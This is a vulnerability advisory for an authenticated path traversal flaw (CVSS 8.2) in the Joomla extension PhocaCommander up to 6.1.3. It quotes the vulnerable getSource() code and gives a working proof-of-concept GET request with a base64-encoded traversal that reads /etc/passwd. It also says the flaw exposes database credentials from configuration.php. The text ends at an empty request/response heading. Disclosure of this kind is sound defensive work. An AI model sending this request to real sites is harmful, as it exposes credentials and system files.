toanln-cov/cve-2026-66491The Joomla extension PhocaCommander is vulnerable to Path Traversal in the getSource function - CVSS 8.2
PhocaCommander ≤ 6.1.3 — Authenticated Admin Path Traversal, No CSRF Required
An arbitrary file read vulnerability exists in PhocaCommander's file editor endpoint. The getSource() function decodes a base64-encoded filename parameter and passes it directly to file_get_contents() with no path containment check. An authenticated administrator can read any file accessible to the web server process - including files outside the webroot - simply by sending a GET request. No CSRF token is required.
Exploitation leaks Joomla's database credentials and secret key from configuration.php, and can read system files such as /etc/passwd via path traversal sequences (e.g. ../../../../etc/passwd).
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| PhocaCommander | 1.0.0 – 6.1.3 | Joomla 5.4.7 + PhocaCommander 6.1.3 (PHP 8.2 / Apache) | 6.1.4 |
Authentication required: Administrator session (no CSRF token required - GET request)
File: administrator/components/com_phocacommander/models/phocacommanderedit.php
getSource() decodes filename from base64 and concatenates it directly onto JPATH_ROOT, then reads the file with no containment check:
PHOCACOMMANDEREDIT.PHP — VULNERABLE CODE
public function getSource($fileName) {
$fileName = base64_decode($fileName); // ← attacker-controlled
$item = new stdClass;
if (PhocaCommanderHelper::fileExists(JPATH_ROOT . '/' . $fileName)) {
$item->source = file_get_contents(JPATH_ROOT . '/' . $fileName); // ← no containment check
}
return $item;
}
fileExists() uses is_file(Path::clean($file)). Path::clean() normalizes slashes but does not strip ../ sequences, so traversals escape the webroot unchecked.
The codebase contains getContainedRealPath() in helpers/phocacommander.php that performs proper realpath()-based containment. It is called by save() and download() but was never added to getSource(). Additionally, the controller's edit() method is dispatched via GET, so standard CSRF token checks do not apply — an active admin session cookie is sufficient to trigger arbitrary file reads.
Authenticate via the admin login page to obtain a valid session cookie. No further privileges beyond a standard admin session are required.
Send the following GET request with the base64-encoded traversal path:
GET /administrator/index.php?option=com_phocacommander&task=phocacommanderedit.edit&filename=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Cookie: [admin session]
filename decoded: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== → ../../../../etc/passwd
Resolved path: /var/www/html/../../../../etc/passwd = /etc/passwd
The editor renders the full contents of /etc/passwd, confirming read access outside the webroot.
REQUEST / RESPONSE
